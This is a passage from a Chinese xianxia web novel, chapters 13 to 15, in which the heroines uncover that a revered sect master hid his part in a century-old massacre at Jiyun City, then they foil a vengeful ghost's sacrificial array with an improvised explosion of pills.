五万大军，全数战死纪云城。无兵可用，少年将军傲气不减，甚至连城中手无缚鸡之力的百姓都不放过，内斩亲属，逼迫参军。纯肉博的征战，百姓与将士的厮杀，最后少年将军居然开城迎战，以全城百姓的性命为肉盾，想要同辛国将士同归于尽。
那一战，整个纪云城的人，老弱病残，妇孺幼儿，全死光了，无一幸免。
至此，凄惨死局，煞气凝怨。
往后数年，纪云城成了无人愿意踏足的鬼城，荒芜、萧条，寸草不生。
直到后来，纪、云两世家驻足开辟，禾丹宗入场稳局，纪云城这才渐渐恢复往日生息。
而至于那段惨绝人寰的血色往事，随着旧城繁荣，渐渐淡去，徒留一个少年将军骄兵必败的自负故事，警醒世人。
13. 第 13 章
故事是故事，禾欢欢没明白宜东藏突然提起是为了什么。
然而故事讲完，只见宜东藏眉头一皱，向来温和沉稳的眼睛里划过一丝凝重。
“刚刚地堡那人，喊了那具食人的亡灵血尸，喻将军。”
“而百年前郑、辛两国纪云城之战，郑国的那位少年将军，就姓喻。”
！
禾欢欢的眼睛瞪得要掉出来，喻将军？百年前少年出征的那位小将军？怎么可能！
“师兄是说，亡灵血尸一事和百年前那场两国征战有关？”
“亡灵难成，能有如此煞力侵蚀人身的，至少得有百年修为。这只是猜测。但，应该八九不离十。不过刚刚殿内那个女人，并不能知其由来。”
宜东藏似是悔恨，长长一叹，继续道：“郑姑娘先前猜得没错，我想从我们入城起，就已经在监视之中了。”
“今夜入地堡查探，也终是中了计。不过从那个女人能提前安排陷阱，破了咱们阵法的手段来看，在亡灵血尸这件事情里，她，应该是主谋。”
师兄师妹往来交谈，猜测着女人的身份和亡灵替人的用意。
郑予时没听过那个少年将军的民间故事，如今听了倒是也没甚想法，只顺着他们的思路往下想：那个殿中拦截了宜东藏传送阵法的红衣女人，确实蹊跷。
地牢烛火昏暗，时而明亮时而恍惚，像是荒郊鬼火，不寒而栗，有些暗。
心里正如此想着，蓦地，身后亮起一点暖白柔光，亓涿光手捧着一颗巴掌大的珠子，递到了她的手里。
夜明珠的珠光，不算刺眼，但暖极。满满的，填满了她的心。
“谢谢姐姐。”
“嗯。”
亓涿光轻轻点头，像是看破了她心底对黑暗的恐，只身护在她身后，替她挡去了那深不见底的黑。
见着她指尖轻捻过自己手背的动作，那里，涂抹了刚刚郑予时给她上的苦艾丸子。
似乎是，很喜欢。
郑予时不禁心里冒出一个念头，要不，用剩下的苦艾合以其他药草，编成手绳，送给她？
“怎么了？”
耳边柔音响起，郑予时一愣，思绪被打断，抬眸一笑，遮掩心事。她想送她一个惊喜。
“就是，在想那个女人到底是谁。”
“想知道？”
“姐姐知道？”
“嗯。”
两人的对话声量并未故意压低，是以，宜东藏二人听罢看了过来。
视线炙热，但亓涿光却像是不察，只那么盯着她，眼里莫名含着一丝欣喜眷恋，就像是，很想念她那般。
想念？
郑予时心底涌上一股奇怪的感觉，亓涿光的那眼神，看她，又似乎不是在看她。
“你想知道的一切，我都会说与你听。只是，别再走了。”
更奇怪了。
一问，但亓涿光似乎没想要回答，只默默又将她的手抓了去，握住，同她说道那红衣女的故事。
“郑国喻家将门之后，少年人意气风发，得帝王赏识，特赐婚相国姜家，结两家之好。后郑、辛两国交战，大将军死于边城，喻小将军替父出征，二八年华，折命战场，余留相国姜家女苦苦哀思。”
“姜家女，性烈。在得知喻小将军死讯后，不信少年天才竟如此愚蠢无能，丧心病狂还害人殒命，于是各路奔求真相。终无果，在民众声声为纪云城百姓的声讨中，悲痛欲绝，投江明志，为爱殉情。”
“据说那日，滚滚幽绿江水中缀了一抹红，传言，那是姜家女生前最喜爱的红衣。”
红衣，又与刚刚地堡的喻小将军相呼应，所以亓涿光的意思是，那殿内的红衣女，就是殉情死去的姜家女！
是喻小将军未过门的未婚妻？
如此殉情的真相，听罢，相顾无言。
然而禾欢欢却像是气极，拳头一锤，怒骂道：“明明是那喻小将军自负傲慢害死了全城的人，他才该是天下唾骂的对象，这姜家姑娘做错了什么？竟是被人言声讨活活逼死！可恶！太过分了！”
那副模样，显然带入了当时自由不得、情爱不得、还遭其并未成婚的自负丈夫拖累，而被流言蜚语重伤至死的姜家女。
不同于禾欢欢的气极，宜东藏倒是冷静，觉察到了一丝不对。
“亓姑娘刚刚提及，那姜家女是投江而死，可京都投江，是如何到得了这千里之外的纪云城？又是如何能拥有如此强悍的实力，控制一城的亡灵与百姓的呢？”
两连疑惑，字字落准，宜东藏的目光准确地锁定了亓涿光。似是察觉，亓涿光面上笑意更深，这才不紧不慢抬眸，看了过去。
那双眸子，虽含着笑，但漠然清冷，深邃如渊。
“这位师兄的问题还真是有趣。”
“修真一道各有机缘，他人机缘我并不知晓，就算知晓，也不会轻易道出。至于你刚刚所问姜家女投江与如今却出现在纪云城的矛盾，我没有答案，但，有一问，想请教一二。”
皎洁如月的美人白衣似雪，对峙而立，明明身处牢狱却像在自家一般随性释然。烛火光影落下，只见她原本平平无奇的面容竟是逐渐褪去，其下，貌若神女的绝美模样显露出来。
手搓制毒的副作用来了，毒素不稳，易容失效。
亓涿光恢复了原本的样貌，惊艳世人。而那一笑，伴着淡淡言语，似若神女悲悯，谈笑，却极端地，淡漠无情。
她问：“世间传言，道听途说，什么是真又什么是假？”
“流芳百世的盛名，遗臭万年的辱骂；既得利者的宣告，战败死者的无声。你可曾想过，或许你所知道的所谓真相，不过是他人，要你知道的真相罢了。”
“……这。”
这一问，将向来以宗门告诫铭记，将以大义除恶为责的宜东藏问得瞳孔地震，额上生汗。连亓涿光的样貌变化都来不及惊讶，一心慌乱。
什么是真，什么是假。世间大家认定的对错、认定的善恶，难道都做不得数吗？以为的对到底是对还是错。
他，不知如何回答。
然而此话，郑予时听罢，也不禁沉思三分。
不管是百年前那场郑、辛之战也好，还是少年将军和姜家女相赴的爱情故事也罢，都不及亓涿光那一问给她带来的震撼大。
传闻、民间故事、乃至所谓的原文剧情，都不过是，他人想要你知道的真相罢了。
身处于世，自古黑白不过是人心里的一把秤，立场罢了。随心活便是。
郑予时心下豁然，对这位被原文套上恶毒女配人设的大美人，更喜欢了。
她，活得鲜活、肆意，耀眼夺目。
禾欢欢站在宜东藏的身边，两人相互支撑着，像是亲密的亲人，有所依靠，有所依仗。见此，郑予时不禁也往亓涿光的身边靠了靠，见她看过来，同样恢复了容貌的郑予时，回了她一个乐呵呵的傻笑。
身处异世，她只有她能依靠。亓涿光对于郑予时来说，是很特别的存在，而她想用行动来告诉她：宜东藏有她的小师妹，而她，有她。
“亓姑娘，那依你看，这亡灵血尸，可有解？”
“人都死完了，解了作甚。”
“什么！都，都死了？可是，可是……”
像是想起了地堡小将军生吃血肉替换他人的真实，禾欢欢‘可是’之后，瞧见恢复模样后愈发清冷矜贵的亓涿光，不敢杠，没了声。
三人无言，反倒是一直在听故事的郑予时默默整理着思路，打破了沉默。
她手上不知哪儿寻了根草，一边胡乱编着什么，一边喃喃自语道。
“为什么，要替换整座城的人呢？”
“为了重生？为了复仇？”
“亡灵重生，借由生人皮肉。但饶是再好的人间皮肉，其间生息也不过只能支撑三年，三年过后，尘归尘土归土，魂飞魄散，再无生路。既然生不得，那他们此般是为了什么？”
“复仇？可若说是为了复仇，又复的是什么仇呢？将军百战死，郑、辛国两国战火相交，壮士们尽数死于战乱，正气凛然，怎会成煞灵？再者，若那亡灵是原来城中被逼披甲出战的百姓，死后积怨，成灵归来。可他们，又怎会心甘情愿地喊人喻将军？”
几人现有的所有消息，整合不出一个合理的解释。
手绳编好，郑予时就着身侧夜明珠的珠光，将它系到了亓涿光的手腕上。
白皙细腻的肌肤，翠绿粗糙的草绳，看起来很是矛盾，但却又异样地格外和谐。
手绳系上，亓涿光并未神色不耐，郑予时不禁看向身旁那含笑望着她的人，这一刻，似是心灵相通，她竟从她那双漠然世间的深邃眼睛里，看出了欢喜，看出了那与自己相同的答案。
“我想，百年前的那一战，或有隐情。”
“轰———”
话音刚落，顶上轰然一震，碎石砸落。
地动山摇，牢笼禁锢的力量意外消散，不待多时，宜东藏立即反应，灵力一出，趁乱带了几人逃出地牢。
黑夜，四人穿石破土，出逃，立于牢上城主府偏殿的暗室之中。
室内，奇诡，一览无遗，什么摆设都没有，除了一壁用血水浇灌的腥臭壁画，再无他物。
壁画其上，描绘的画面是两军对垒的战场，只是明明这人间为国拼杀的一幕，有一方将士的身后，却似有那天外神兵相助。神兵驰骋战场，招毁天灭地之阵术，将另一方紧逼压榨，残忍屠杀。
壁画之后，唯留一句：郑国护国之将士。与天争，与神斗！粉身碎骨，在所不辞！
这，与民间传闻，喻小将军祸害逼死一城百姓的故事，截然不同。
厮杀、狰狞，人与神明的抗衡，在这仅仅一副壁画上展现得淋漓尽致，看得瘆人，又异样心口炙热、酸涩。
只是那神兵之后，壁画暗刻的绘色之中，却似是隐隐浮现着另外一样东西———一张青面獠牙的脸。
怎么，有些眼熟呢？
暗室的门被刚刚那一阵地动山摇毁了去，不待几人稍作歇息，又是一阵猛烈的晃动袭来，顶上阵碎，坚石落下。郑予时正望着那青面出神，手心一凉，下一瞬，亓涿光拥着她，将她带离了刚刚被砸出一个大坑的原地。
交握的双手，一冷一热，瞧着那有力手腕上系着的一根粗糙手绳，郑予时眼睛亮亮的，什
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么都没想，就那么任凭她牵着她，往外跑。
她真的，说到做到。
她没有丢下她。
暗室之外，是殿中后院，院后便是边邻无垠海的崖边城墙。
他们的出现恰巧在震动平息之后，跟着那异动闻声赶去，黑暗中，混乱一片的院子尸体遍布，血水染红了一切，而他们，无人察觉。
本想着暗中去瞧到底发生了何事，可不想，终局已定。
院内，之前地堡内那硕大的熔炼血人养料的炉鼎正熊熊烧着，阴煞、诡异。
而那位‘死而复生’的喻小将军，双腿被人扯烂了去，他爬在地上眼底发痕，提枪横扫，一枪，将身前呕血跪地的红衣女，双臂斩落。两败俱伤。
似要了结，喻小将军攥死红衣女的长发，一提，要往那炉鼎里扔。
“不要！”
痛心惊呼。下一瞬，一位同样身着白衣的小少年飞扑而来，他一击掀飞强弩之末的喻将军，跪地，死死抱住红衣女，哭得梨花带雨。
“阿茹，阿茹，你别死，求求你，别死……”
啜泣之中，白衣道袍如此熟悉，和宜东藏身上穿的白衣，纹路近乎相同。
他，应当就是他们口中一月前禾丹宗走丢的小师弟了。
只是这般看来，似乎他的失踪，是自愿的。
小师弟惊慌失措，却是没能见到他怀中紧护着的红衣女面带讥讽。不好，有诈！
宜东藏察觉不对，想要救人，然而还不等他冲上前去，天边忽地一道惊雷掠过，轰隆一震，带有飘渺水雾的紫电雷光霎时砸落，带着毁天灭地的威压，压顶而来。
雷电轰鸣，落雷正中。但那小师弟却像是毫不惧死一般，仍抱着那红衣不肯松手。
他仰头，泪如雨下，声嘶力竭。
“爹！儿不孝。但你若当真杀她，那便先杀了儿子吧！”
“不孝子！”
浑厚嗓音似是自天外而来，恐怖雷光一歪，劈裂半院地土。
白袍尊者落地踏来，怒火滔天。
“孽障！”
‘啪’一耳光，隔了大半院子，灵力却扇得小师弟半张脸红肿瘀血。内里受力，瑟缩，喷出血色。
“噗……父、父亲。”
“别喊我父亲，我没有你这样的儿子！”
禾觅清气得连胡子都在发颤，思及，气不过，又是一巴掌扇了过去。
“我禾丹宗门庭清明，从未和魔物煞灵有过任何瓜葛，可如今，一派正直全砸你手里了！”
“姜茹这个女魔头虐杀城主，鸠占鹊巢。她生性残暴肆虐，又违背天道私自积煞炼魂，屠尽一城百姓只为私心复活一人，这些，为父早就同你说过，你，为何就是泯顽不灵！”
“父亲！不是这样的！”
“还敢顶嘴！”
一句抗命，又是凌空一扇，面无完肤。
禾觅清正在气头上，下手颇重，宜东藏看不过去，上前求情，禾欢欢自是一同。
“宗主，还请手下留情。”
两人跪在禾若安身前，替他挡了禾觅清的怒意，但饶是禾若安被扇得面骨碎裂、内腹呕血，如此，他也仍是字字喊冤。
“不是的，阿茹她也是被逼的！”
“孽障，休要妄言！”
“宗主息怒！”
“爹！弟弟受不住的！”
灵力再起，然而宜东藏和禾欢欢两人拦路在前，姑娘一声‘爹’，禾觅清怒目，但却真的停了手。
原来，那位丢了的小师弟，竟然就是禾丹宗宗主的小儿子，禾欢欢的弟弟，禾若安。
这亡灵血尸虽说应该是姜茹和喻小将军的阴谋，但如今两人均已两败俱伤，再无威胁。而如今在别人院子里吵起来的，是禾丹宗的四人。
这别人家里的家事儿，郑予时不好插嘴，也没想过插嘴。
只是她识时务，亲眼瞧见禾若安被打伤的红衣却是忍不了。
咒骂一声，含血讥讽。
“我呸！鸠占鹊巢？屠戮一城？你奈我何！”
“魔头，休要放肆。”
“苦忍百年，今日，我偏就要放肆一回！”
院内一战，红衣本就是故意装的孱弱体虚，如今时机成熟，她‘强撑’而起，禾若安借力撑住她，两人浴血而立，生生悲戚，眉目尽是苍凉。
“你们修仙之人自诩正义清高，自负自大，自以为是！你们光说我屠杀满城，说我生性残暴，可又有谁知晓我的痛！”
“高高在上的修者、尊者。我呸！好一句修者不问世间战火，好一句术法不伤无灵百姓。可百年前两国相交的死战，还不是你们偏帮了辛国！”
“灵力术法，凡人之躯怎可抵挡！阵法符隶，凡人城墙怎可御敌！若不是如此，我家阿喻又何至于带着万千将士焚身熔炉！他拼死救国，而你们，你们为了掩盖罪行却故意扭曲事实，害他，害得所有舍身取义的将士们，落得个天下万人唾骂的下场！”
“是你！是你们！”
“破城屠民，杀掉满城百姓的人，是你们！如今这满城血尸也都是你们的错！”
“是你们，欠下阿喻的血债！血偿！”
14. 第 14 章
百年之前，纪云城屠城之战，两军势均力敌，久持不下。
而后忽有天兵降凡，庇护辛国将领，是以，城中百姓绝望出逃，降敌谋生。
而投降不杀只是幌子，所有出城百姓均被辛国士兵俘获，献祭天兵，士气大涨。喻大将军为拖延时间等待支援，血战沙场，以命，拼死护下一城万民。
将死，而后，喻小将军出兵支援，征战临城。
然城中百姓死伤无数，未亡逃回的也均数被辛国设计洗脑，厌恶援兵。一时，城内内乱纷起，成群结队的百姓城墙自焚，以信仰天兵。
那一战，喻小将军外抵敌军，内控百姓，攘外安内，苦苦支撑。
可凡人，如何抵御得了仙人一击。
阵法开启、符隶漫天，城，破了。
最后，副将偶然寻得一线生机，城主府内封有的上古祭天古阵，勉强一战。
古阵阴邪，为开启封印，为守住郑国城池！将士赴死！一个个，踏入熔炉，炼化肉骨，声声惨叫杂着赴死的决心，带着忠国敬民的信仰，以身祭阵。
熊熊战意、数万人命，阵成，同归于尽。
无人在意踏入熔炉之时，他们是否会疼；无人关心将死绝望之迹，他们是否会伤。
然而将士以命搏命，万军死绝，仙人却毫发无伤。为了掩盖他们参战人世的事实，破城，一城居民烧杀掳掠无一幸免。
仙人血洗，纪云城，成了死城。
而喻辞舟，为了护城护国而开启了上古祭天古阵的那位喻小将军，则成了屠城疯魔的千古罪人。
桩桩件件，前因后果，姜茹骂得声声悲壮。
她将原本少年将军的故事，一一还原，予之清白。
一时，不只郑予时，连着先前才受到那暗室血腥壁画冲击的宜东藏、禾欢欢他们，都听得心惊失措。
姜茹说的所有，和那壁画之上的描述，近乎一模一样。
修者与凡人本就完全不同，云泥之别。
万年前仙魔一战后，为了平衡，为了使凡者生活不再战战兢兢，两界定下约定：修者不得插手凡间政事。
可若真如姜茹所说，百年前纪云城一战，有仙家插手，那……那岂不是一件不公不义，不耻不堪，要给天下所有修者抹黑的丑事！
所以，所以为了掩盖事实，掩盖丑闻，百年前闯入城中杀戮、屠民的，是，是仙家！？
这，未免也太丧心病狂了吧！
姜茹只用修者代替，但禾觅清心里清楚。她说的，是他。
神色晦暗，禾觅清想要在其开口指认之前将其击杀，让她不能再言，但姜茹是何其聪明，只一眼，便看透了他心底的龌龊。
她一眨不眨地盯着想要出招击杀自己的禾觅清，双臂长合。再不掩饰自己隐下的实力，她毫不留情，一把掐住了身边禾若安的喉咙，逼人后退，似是魔怔。
禾觅清，禾丹宗受尽天下爱戴的慈善仙人，济世苍生、刚正不阿的大义宗主，背地里，虚假伪善、龌龊至极。但只一点，他宠爱妻儿，是真的。
“禾觅清，你敢动手吗。”
突然转变的局势，先前还不顾脸面不顾性命护着人的禾若安，如今却成了姜茹的人质。
她掐着他，步步紧逼，将近癫狂。
“禾觅清，我等了你好久。你终于还是，舍得从你那龟壳里，出来了啊。哈哈哈哈！”
“姜茹。我劝你适可而止！”
“适可而止？适可而止？你居然还敢叫我适可而止！？”
像是听到了天大的笑话，姜茹眼底发狂，残破的身躯像是榨干生命的回光返照，煞气暴动。
“当初，你禾丹宗带着纪、云两族修士逼死我家阿喻的时候，为什么不适可而止！你带人屠尽满城百姓的时候，为什么不适可而止！你封灵下咒，将士身死都还不放过他们，压迫千万亡灵于地底饱受折磨，不得超生的时候，你为什么又不适可而止！”
“一城尸海，满目猩红。我只是想来给我丈夫收尸，给千万将士收尸！禾觅清，封灵下咒，为了不走露消息，你杀我的时候，没想过我能活吧。”
“凭什么我只能在阴沟里食腐肉，而屠城真正的凶手却能行走在阳光下受人拥戴；凭什么他们能活而我们，就不得不死！”
仰天呐喊，血泪淌下。
“鸠占鹊巢的愚民，我屠便屠了。仙人无心、天下无情，既然这天下弃了我们，我杀便杀死这天下！”
“禾觅清，今日，我就要你，给我的阿喻，陪葬！”
声声质问，问得置身场外的几人心头一震。
禾欢欢一双眸子瞪得老大，失措、慌乱。
屠城、杀戮。百年前为了掩盖事实而杀了满城百姓的虚伪仙人，竟然，竟然是爹？怎、怎么可能……
姜茹浑身鲜血淋漓，她知禾觅清舍不得幼儿，于是借着对禾若安生命的威胁，她将想说的，全都说了。而接下来，百年仇怨，也该了了。
后颈一劈，在禾若安睁大的不安眸子里，姜茹一掌劈晕了他，她将他丢给了刚刚护着他的宜东藏身边。
反身，横眉直扫，高举长枪。
“众将士听令！”
“呼！呼！”
静谧暗夜，月色隐去，浑厚战声奏起。
红衣一声怒吼，一呼百应。
“杀！”
“呼！呼！”
千军万马，幽绿亡灵踏云而来。
院中那焰火高燃的炉鼎，那熔炼了万千将士生灵的炉鼎，蓦然转动。
红与绿的交错，赴汤蹈火的幽绿，扑面而来。先前厮杀的满地尸体、遍地残骸，丝毫不能影响他们的熊熊战意，将士们释放苦楚，声声呼喊，无畏无惧，奋勇杀敌。
“爹，小心！”
长枪出击，那一抹艳红敲响炉鼎焰火，合着幽绿万千围剿而去。禾觅清伫立院中，反手起势，毫无紧张。
一挥，幽绿散了将近四分之一，禾觅清的实力确实强势。
然而姜茹再次提枪上冲，炉鼎焰火再起，幽绿配合融合，瞬息，完全不同于第一下试探的浑厚力量，地动山摇，全力化煞，猛攻而去。
这一下，纵是禾觅清也不得不正视起来，术法大开，属于合体期的灵压骤然来袭。心慌，但或是因着禾欢欢他们的面子，灵压并未伤及外围的他们半分。
双方对攻，打得不可分交，合体期的水平，远不是郑予时他们能参与的。
只是霎时之间，郑予时却莫名心空了一瞬。不安。迟疑。
刚刚，那红衣女姜茹，她好像，看了她一眼？
是错觉吗？
强者拼杀，战况凶险，就在双方对攻一击轰然猛颤之后，灵压散去，眨眼，只见那本提枪欲意刺杀禾觅清的姜茹，瞬息，竟是冲到了她的面前。
不好！
根本来不及反应，下一瞬，胸前衣襟提起，郑予时被她提着落到了庭院正中，落到了战场中心那猩红的炉鼎之上。
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>要命啊！
刚刚她果然没有看错，姜茹盯的那个人，就是她！可是抓她有什么用啊？她只是个路人，跟禾觅清半毛钱关系都没有好吗？
“郑姑娘！”
“郑予时！”
禾欢欢伸手没能抓住人，看着被姜茹提在手里的人，紧张得不行。而刚刚一直护在郑予时身边，亲眼见到她被姜茹抓去的亓涿光，面色也算不得好。只是她微皱的眉间，却不似紧张，而是带着几分无措的迷茫，像是在想着什么。
三人的愤慨，姜茹并未搭理，她带着郑予时落入炉鼎，轻笑。
“呵。抓到你了。”
？
郑予时没能反应过来，错容之毒的副作用起效，不只亓涿光的样子显露，她，也是如此。
那双眼底藏灵的眸子，纯粹到极致，一览无遗。
姜茹含笑：混元灵根，那人提到的人，是她没错了。
像是哄着小孩儿，她掌心血肉之中钻出一只乳白小虫，轻声说道：“别怕，只是借你的身子，炸掉这恶心的人而已。就一下，不会很疼的。”
小虫肥腻腻一只，一圈一圈的身子挤在一起，丑陋恶心，它的后背长着一对小翅膀，扑棱扇着，飞得极其勉强，边飞还边口吐粘液，虎视眈眈。
姜茹一言落地，只见其长枪一招，亡灵奔至，以炉鼎为中心包围防御，就像是，她们要完成一件特别隆重的仪式。
郑予时连指尖都在发颤，她疯狂地搜索着储物袋里能用的物件儿，紧张得汗如雨下。
怎么就不怕了，怎么就没事儿了。这妹子显然是想把她的身子当成容器炼了，控蛊炸灵，和禾觅清同归于尽啊！
怎么办，救命啊，有什么东西是能扛一下的吗！
似是知晓即将炼化生灵，身下这方极诡的炉鼎，焰火噌噌往上涨着，蠢蠢欲动。
啊！要烧到她啦！
脚下滚烫，焰火袭来。
随着姜茹长枪一指，满场围了她们二人，也阻了禾欢欢他们的幽绿亡魂，气焰更盛。
她一手按着无法动弹的郑予时，一手操蛊，嘴里似是念叨着什么术法，语调拗口，晦涩难懂。
蛊虫愈发肥腻，煞气愈发凝实。术成，眨眼之间，那满院幽绿竟是像被黑洞吸噬一般，汹涌而来。
它们卷了满地碎尸，幽绿魂光夹着暗红血色，揉成人形。一个一个，不要命似地，挤入炉鼎。
郑予时和姜茹就在炉中，瞧着数千蜂拥而来的血尸，面色发白。
这不得把她活生生砸死！
然而来人并未真的砸入其中，经炉边焰火一灼，那幽绿魂力极其生肉带有的生息，凝练成煞。每踏入一‘人’，炉鼎内里刻有的奇诡符号便更深一尺，透出猩红神光。
这个炉鼎，和故事里喻小将军以命献祭的那个，像极了。而它底下那古老的符号难道是……
祭天古阵！？
这炉鼎就是阵眼，姜茹这是想要重启古阵，屠城！
郑予时整个人都惊呆了，她转头看向了正抓着自己的姑娘，思绪豁然。
怪不得，怪不得要将亡灵重生为人，因为只有人身生息，才能献祭，才能启阵。而如此大规模的献祭，为了不引起隔壁禾丹宗的注意，只有换人，方能隐匿。
姜茹，太可怕了。
祭阵将成，百年前曾见识过这个阵法的禾觅清哪儿能不知其蕴含的滔天威力，横眉紧皱，立即怒声叫停。
“魔女！快住手！”
15. 第 15 章
合体期修者的一击，震天动地。然而风尘散去，院中范围地陷三尺，碎石烂砖，但那炉鼎滞空，其上，毫发无损。
这阵，自带防御。
“噗。”
“哈哈哈。哈哈哈哈哈！”
姜茹像是疯了，见禾觅清被阵法反噬呕血，她满眼尽是狂喜。
“外攻偷袭。禾觅清，你以为现在的我，还会和百年前一样上你的当吗！？哈哈哈哈。你去死，去死！”
阵将大成，处于阵中的郑予时心焦如焚。
怎么办？以禾觅清合体期的实力都对付不了，这，她们难道真的要死在这儿了吗！
祭阵妖邪，破阵，破阵。外攻……
等等！
先前地堡，宜东藏他们的宗门阵术就是在成型之前，被姜茹提前在内设下陷阱攻破的。既然外攻不行，那如今身处炉鼎正中，身处阵眼中的她，可不可以……
心如擂鼓，郑予时有了计划：要不先试试，炸一个！
虽然她如今才将将炼气，灵力也仍然操控无能，但为了给亓涿光解毒，先前她没少练习，也没少搓解毒丸子。如今储物袋里大半装的都是药丸，要是都拿出来在阵内炸了，或许，可破！
但她，她会不会，也炸没了？
后怕惊恐，郑予时纠结、不安极了，不禁下意识看向了场内她最信任的那人。
抬眸，恰巧，那人，也注视着她。
四目相望，记忆回笼，心下微定。
对啊，亓涿光。她还有亓涿光之前送给她的好几打高阶防御符呢！
她可以的！
说干就干，在姜茹辱骂着禾觅清泄愤的同时，郑予时借着数千亡灵挤入祭阵的动作打掩护，一把一把，往炉鼎里面疯狂掏着药丸子。
随着献祭，炉内那奇诡的符号愈发完备，就在最后一笔即将阵成的瞬间，郑予时终于掏完了所有解毒药丸。
就是现在！
炼气五层的微弱灵力压榨干净，蓄力一击，灌入药中。
霎时，混元灵根之下的极纯灵力，灵压骤降，周围环境中的灵气狂卷而来，压缩、凝练，瞬息之间，轰然炸开。
“轰———”
我去！
滔天灭顶的爆炸自炉鼎之中崩裂而开，一震，从内震碎了那尚未成型的祭阵，断了姜茹屠城的阴谋。
纪云城城主府后的城墙，松松垮垮，崖上海风一吹，轰然坍塌。
围着城池保卫城民的牢固城墙，随着那后院砖墙一起，碎了半拉，崩溃、塌陷，尘土飞扬。
禾欢欢惊呆了。
一炸，半数城墙破灭，郑予时一身皮肉也炸得焦黑。幸而她提前把所有亓涿光给的防御符都贴到了身上，这才勉强挡了一劫，留下一命。
龇着一口熏黑的牙齿，郑予时隔着爆炸浓烟往院中望去，那里，亓涿光正望着她，似是担忧、似是疼惜，她眼里的漠然散了些，剩下的满是冷意。
她应当是生气了吧。
可她成功了的，因为她的防御符，她活下来了！因为她。
郑予时满心欢喜，满心感激，然而她不知道的是，亓涿光眼里的那抹刺骨冷意，是对她展露的。
咒契加身，是为奴仆，但如今的咒师鲜少知道，上古时期，古法咒契除了限制，还有一层更深的寓意：心神相通。
也就是指引、操控之术。
只是如今咒文简略，要想有古咒的通神之用，除非被控者身上留有上古咒文，方才可借以操作一二。
刚刚亓涿光试了两次，第一次，在姜茹飞身抓人的时候，第二次，在祭阵将成的时候。
亓涿光想控制郑予时施展咒术破局，但，她失败了。
郑予时的身上，并没有她曾在小骗子身上中下的上古咒文。
郑予时，不是她。
不是那个在地狱深渊里，陪了她三十三年的小骗子。
阵法被毁，姜茹被炸得不轻，暴怒之下，她彻底疯魔，揪住郑予时的头发就要杀她。
阴掌拍下，煞气从头顶灌入，只一瞬，贯穿脊骨，刺得她浑身经脉寸断，血气上涌。
“噗。”
血水呕出，难扛。
然而就是这般，姜茹还是不肯放过她。她面目狰狞，看着浓烟散去后，身下那仍是完好无损的炉鼎，放生狂笑。
“哈哈哈，哈哈哈哈！你们以为，这样，我就没办法了吗！”
“死！我要你们都去死！”
掌心蛊虫并未死去，姜茹煞气祭出，又一掌震碎郑予时心脉，让她无力反抗。
“你的身子，可是最好的容器。没了生人焚祭如何？没了上古祭阵辅佐又如何？只要我用这蛊虫控制了你，我们，都得死！”
“哈哈哈哈！哈哈哈哈！”
疯言疯语中，姜茹手里捏的那个肉叽叽的胖虫，愈发肥腻，这玩意儿估摸着就是蚕蝶丝的蛊毒养出来的蛊虫。
蛊虫，蛊虫……
西疆域一分三支，傀儡派、蛊毒门、咒术冢相生相克，杀蛊，要么强蛊吞噬弱蛊，要么傀儡强控蛊毒，再要么……咒文焚祭！
亓涿光！
瞬间，就在郑予时想到解决之法，满心希望的霎时，像是心灵相通，隔着那满院密集的幽绿亡灵，不待她大喊，亓涿光，只身奔赴而来。
看着那道踏破千军万马只为自己而来的白色身影，郑予时的心，即紧张担忧，又欣喜哽咽。刚刚才孤身一人死里逃生的她，如今有人奋不顾身，她，有些迟来的委屈。
姐姐……
亓涿光的突袭，出乎所有人的预料，本是将所有的注意力都放到禾觅清身上，防止他偷袭的姜茹，这下，慌了一瞬。
亓涿光飞身而来，禾欢欢和宜东藏也不逞多让，拔剑奔赴，禾觅清见状立即从另一侧突袭，四人包围而上。
术法剑影，劈开满院侵蚀煞气，斩断挡路幽绿亡魂，上前救人。
祭阵毁去，再无防备。
除去禾觅清，三人皆是小辈，姜茹根本没将他们放在眼里，只调动了大量亡魂缠住禾觅清，等待蛊虫成熟。
他们的反攻，姜茹虽略有防备，但她显然没想到，小辈中的她，会这么强。
禾觅清即将突破，亓涿光掠身而来。
怎么可能！
颓势将显，穷途末路。姜茹立即调动全部亡灵朝人围攻而去，趁着人被包围吞噬的瞬间，势必要将那操控吞噬的蛊虫侵入郑予时心口。
脑中的弦崩得生紧，蛊虫将至。
郑予时整个眼睛瞪得溜圆，满目惊慌。
不行！
他人不知混元灵根爆炸的威力，但这玩意儿就长在郑予时身上，天天与它相处，她可是知道得一清二楚。若是真叫她控制了她，以她灵根为基，那纪云城，估计是要被炸干净的。
不能让姜茹得逞！
无力挣扎，见着姜茹将精力大多都放在了围攻他们身上，郑予时一机灵，撑着断裂的经脉，拼尽全力，摸出来一颗喷香的诱导药丸。
她精准一塞，将将塞住了那蛊虫刺破肌肤，向着她心肉咬来的细小尖齿。
得救了！
蛊虫趴在心口咬开的烂肉里，被药丸堵了小嘴的它馋那药香，缓缓吞噬，只在里头蠕动，再未往里深入半分。她，赌赢了。
郑予时心下狂喜，
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然而她面不改色，半分不敢声张。
见姜茹并未关注这边，借着心口血肉模糊的惨状，她顺势装出虚弱中蛊的模样，想要松懈姜茹的注意力，同奔向自己的亓涿光一起，合力反击。
只是她不知道的是，她那被蛊虫吞噬了心脏的欲死模样，让某位想要炼她成傀儡的人，起了杀心。
心脏是炼制傀儡必不可少的东西，如果被别的蛊虫抢先吞噬，那她的傀儡，可就炼不成了。
所以。
亓涿光眸色更冷，漠然、无情。
所以，她的心，只能是她的。
被轰炸得只剩下寥寥的亡魂已是强弩之末，围攻根本困不住人。
亓涿光灵力爆出，上一刻，还似是走投无路、毫无反抗地被亡魂困死在原地的样子，而下一瞬，她却咒文缠身。瞬息之间，闪现将至，她凌空一跃，冲到了姜茹的面前。
咒文袭来，势不可挡的攻势带着滔天恐怖的灵压，姜茹心下惊异，当机立断，以为蛊虫已然成功入体心脏的她立即松了抓郑予时的手。
她将郑予时推倒炉鼎之中，以术法操控蛊虫，冷笑着后退避开。
身上力道一松，郑予时暗自窃喜。
成功了！不枉她假装中蛊虚弱不堪，姜茹果然上当放弃她了！
姜茹后撤，禾觅清立即补位刺杀而去。
而那一片淡淡幽绿中，亓涿光像是她的英雄，踏碎千难万阻，救她于水火之中。
郑予时想哭，像是幼雏迎接乳母，明明并未分别，但她，很想她。
“姐姐……”
亓涿光朝她奔来，郑予时失了力，跌在炉鼎里，生烫委屈，但心里欢喜。
